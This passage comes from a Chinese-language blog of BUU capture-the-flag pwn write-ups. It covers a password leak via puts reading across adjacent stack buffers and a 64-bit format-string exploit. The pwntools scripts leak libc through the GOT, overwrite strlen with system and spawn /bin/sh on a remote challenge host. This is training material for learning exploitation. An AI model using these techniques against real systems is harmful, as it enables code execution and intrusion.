class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// bad sp value at call has been detected, the output may be wrong!</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> input[<span class="number">64</span>]; <span class="comment">// [esp+0h] [ebp-194h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> name[<span class="number">256</span>]; <span class="comment">// [esp+40h] [ebp-154h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> password[<span class="number">64</span>]; <span class="comment">// [esp+140h] [ebp-54h] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+180h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> *v8; <span class="comment">// [esp+184h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">__gid_t</span> v9; <span class="comment">// [esp+188h] [ebp-Ch]</span></span><br><span class="line">  <span class="keyword">int</span> *v10; <span class="comment">// [esp+18Ch] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  v10 = &amp;argc;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  v9 = getegid();</span><br><span class="line">  setresgid(v9, v9, v9);</span><br><span class="line">  <span class="built_in">memset</span>(password, <span class="number">0</span>, <span class="keyword">sizeof</span>(password));</span><br><span class="line">  <span class="built_in">memset</span>(name, <span class="number">0</span>, <span class="keyword">sizeof</span>(name));</span><br><span class="line">  <span class="built_in">memset</span>(input, <span class="number">0</span>, <span class="keyword">sizeof</span>(input));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What is your name?&quot;</span>);</span><br><span class="line">  fgets(name, <span class="number">256</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  v8 = <span class="built_in">strchr</span>(name, <span class="number">10</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v8 )</span><br><span class="line">    *v8 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">strcat</span>(name, <span class="string">&quot;,\nPlease Enter the Password.&quot;</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;password.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(</span><br><span class="line">      <span class="string">&quot;Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(password, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(name);</span><br><span class="line">  fgets(input, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  name[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(input, password) )</span><br><span class="line">    flag();</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Incorrect Password!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>如果输入的input和远程文件的pwd内容相同，就会输出flag。</p>
<p>可以看到name与pwd在栈上正好差0x100，而puts遇到\x00才结束。所以可以先泄露下pwd：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ nc node4.buuoj.cn 27601</span><br><span class="line">What is your name?</span><br><span class="line">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span><br><span class="line">Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s<span class="variable">$word_f85406</span></span><br><span class="line"></span><br><span class="line">Incorrect Password!</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>成功拿到pwd</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27601</span>)</span><br><span class="line">pwd = <span class="string">&#x27;a_reAllY_s3cuRe_p4s$word_f85406&#x27;</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&#x27;aaa&#x27;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(pwd)</span><br><span class="line">io.recv()</span><br></pre></td></tr></table></figure>

<h1 id="0x4F-axb-2019-fmt64"><a href="#0x4F-axb-2019-fmt64" class="headerlink" title="0x4F.axb_2019_fmt64"></a>0x4F.axb_2019_fmt64</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">272</span>]; <span class="comment">// [rsp+10h] [rbp-250h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> format[<span class="number">312</span>]; <span class="comment">// [rsp+120h] [rbp-140h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+258h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(</span><br><span class="line">    <span class="string">&quot;Hello,I am a computer Repeater updated.\n&quot;</span></span><br><span class="line">    <span class="string">&quot;After a lot of machine learning,I know that the essence of man is a reread machine!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;So I&#x27;ll answer whatever you say!&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    alarm(<span class="number">3u</span>);</span><br><span class="line">    <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x101</span>uLL);</span><br><span class="line">    <span class="built_in">memset</span>(format, <span class="number">0</span>, <span class="number">0x12C</span>uLL);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please tell me:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, s, <span class="number">0x100</span>uLL);</span><br><span class="line">    <span class="built_in">sprintf</span>(format, <span class="string">&quot;Repeater:%s\n&quot;</span>, s);</span><br><span class="line">    <span class="keyword">if</span> ( <span class="built_in">strlen</span>(format) &gt; <span class="number">0x10E</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="built_in">printf</span>(format);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;what you input is really long!&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ./axb_2019_fmt64 </span><br><span class="line">Hello,I am a computer Repeater updated.</span><br><span class="line">After a lot of machine learning,I know that the essence of man is a reread machine!</span><br><span class="line">So I<span class="string">&#x27;ll answer whatever you say!</span></span><br><span class="line"><span class="string">Please tell me:aaaa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.</span></span><br><span class="line"><span class="string">Repeater:aaaa0.25.0.ffe0.45.9.945f82b0.61616161.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.a2e78.0.0.0</span></span><br></pre></td></tr></table></figure>

<p>偏移是第八个，但是<code>elf.got[&#39;puts&#39;]+%8$s</code>这样构造是不行的，因为00截断的缘故，所以：</p>
<p><code>&quot;%9$sAAAA&quot; + p64(elf.got[&#39;puts&#39;])</code></p>
<p>%n是4字节，%hn是2字节，hhn是1字节.</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">───────────────────────────────────[ STACK ]────────────────────────────────────</span><br><span class="line">00:0000│ rsp  0x7ffcd3616f60 ◂— 9 /* <span class="string">&#x27;\t&#x27;</span> */</span><br><span class="line">01:0008│      0x7ffcd3616f68 ◂— 0x15d36e42b0</span><br><span class="line">02:0010│ rsi  0x7ffcd3616f70 ◂— 0x3231256338393125 (<span class="string">&#x27;%198c%12&#x27;</span>)<span class="comment">#offset 8</span></span><br><span class="line">03:0018│      0x7ffcd3616f78 ◂— 0x313834256e686824 (<span class="string">&#x27;$hhn%481&#x27;</span>)</span><br><span class="line">04:0020│      0x7ffcd3616f80 ◂— 0x6e68243331256337 (<span class="string">&#x27;7c%13$hn&#x27;</span>)</span><br><span class="line">05:0028│      0x7ffcd3616f88 ◂— 0x4141414141414141 (<span class="string">&#x27;AAAAAAAA&#x27;</span>)</span><br><span class="line">06:0030│      0x7ffcd3616f90 —▸ 0x601022 (_GLOBAL_OFFSET_TABLE_+34) ◂— 0x26c000007f9395d3</span><br><span class="line">07:0038│      0x7ffcd3616f98 —▸ 0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7f9395d377a0 (strlen) ◂— pxor   xmm0, xmm0</span><br></pre></td></tr></table></figure>



<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># context(log_level=&#x27;debug&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29175</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./axb_2019_fmt64&quot;)</span></span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">&quot;./axb_2019_fmt64&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&quot;%9$sAAAA&quot;</span> + p64(elf.got[<span class="string">&#x27;read&#x27;</span>])</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">io.recvuntil(<span class="string">&#x27;Repeater:&#x27;</span>)</span><br><span class="line">read_got = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">base =  read_got - libc.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">system_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">high_sys = (system_addr &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xff</span></span><br><span class="line">low_sys = system_addr &amp; <span class="number">0xffff</span></span><br><span class="line"><span class="comment">#这里只改了一部分，其他的位是一样的</span></span><br><span class="line">payload = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(high_sys - <span class="number">9</span>) + <span class="string">&quot;c%12$hhn&quot;</span> + <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(low_sys - high_sys) + <span class="string">&quot;c%13$hn&quot;</span></span><br><span class="line">payload = payload.ljust(<span class="number">32</span>,<span class="string">&quot;A&quot;</span>) + p64(elf.got[<span class="string">&#x27;strlen&#x27;</span>]+<span class="number">2</span>)+p64(elf.got[<span class="string">&#x27;strlen&#x27;</span>])</span><br><span class="line"></span><br><span class="line">io.sendafter(<span class="string">&quot;Please tell me:&quot;</span>,payload) </span><br><span class="line">io.sendafter(<span class="string">&quot;Please tell me:&quot;</span>,<span class="string">&#x27;;/bin/sh\x00&#x27;</span>) </span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>


                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/10/05/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-10-17
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/10/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E8%A7%A3%E6%9E%90/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x40-ciscn-2019-s-9"><span class="toc-text">0x40.ciscn_2019_s_9</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x41-pwnable-hacknote"><span class="toc-text">0x41.pwnable_hacknote</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x42-jarvisoj-level5"><span class="toc-text">0x42.jarvisoj_level5</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x43-picoctf-2018-shellcode"><span class="toc-text">0x43.picoctf_2018_shellcode</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x44-hitcontraining-bamboobox"><span class="toc-text">0x44.hitcontraining_bamboobox</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-House-Of-Force"><span class="toc-text">1.House Of Force</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-unlink"><span class="toc-text">2.unlink</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x45-npuctf-2020-easyheap"><span class="toc-text">0x45.npuctf_2020_easyheap</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x46-cmcc-pwnme2"><span class="toc-text">0x46.cmcc_pwnme2</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x47-actf-2019-babystack"><span class="toc-text">0x47.actf_2019_babystack</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x48-picoctf-2018-got-shell"><span class="toc-text">0x48.picoctf_2018_got_shell</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x49-picoctf-2018-can-you-gets-me"><span class="toc-text">0x49.picoctf_2018_can_you_gets_me</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4A-mrctf2020-easy-equation"><span class="toc-text">0x4A.mrctf2020_easy_equation</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4B-wdb-2018-2nd-easyfmt"><span class="toc-text">0x4B.wdb_2018_2nd_easyfmt</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4C-ciscn-2019-es-1"><span class="toc-text">0x4C.ciscn_2019_es_1</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4D-x-ctf-b0verfl0w"><span class="toc-text">0x4D.x_ctf_b0verfl0w</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4E-picoctf-2018-leak-me"><span class="toc-text">0x4E.picoctf_2018_leak_me</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x4F-axb-2019-fmt64"><span class="toc-text">0x4F.axb_2019_fmt64</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BUU_PWN%E5%88%B7%E9%A2%98_0x40-0x4F + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F10%2F17%2FBUU-PWN-0x40-0x4F%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/10/17/BUU-PWN-0x40-0x4F/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
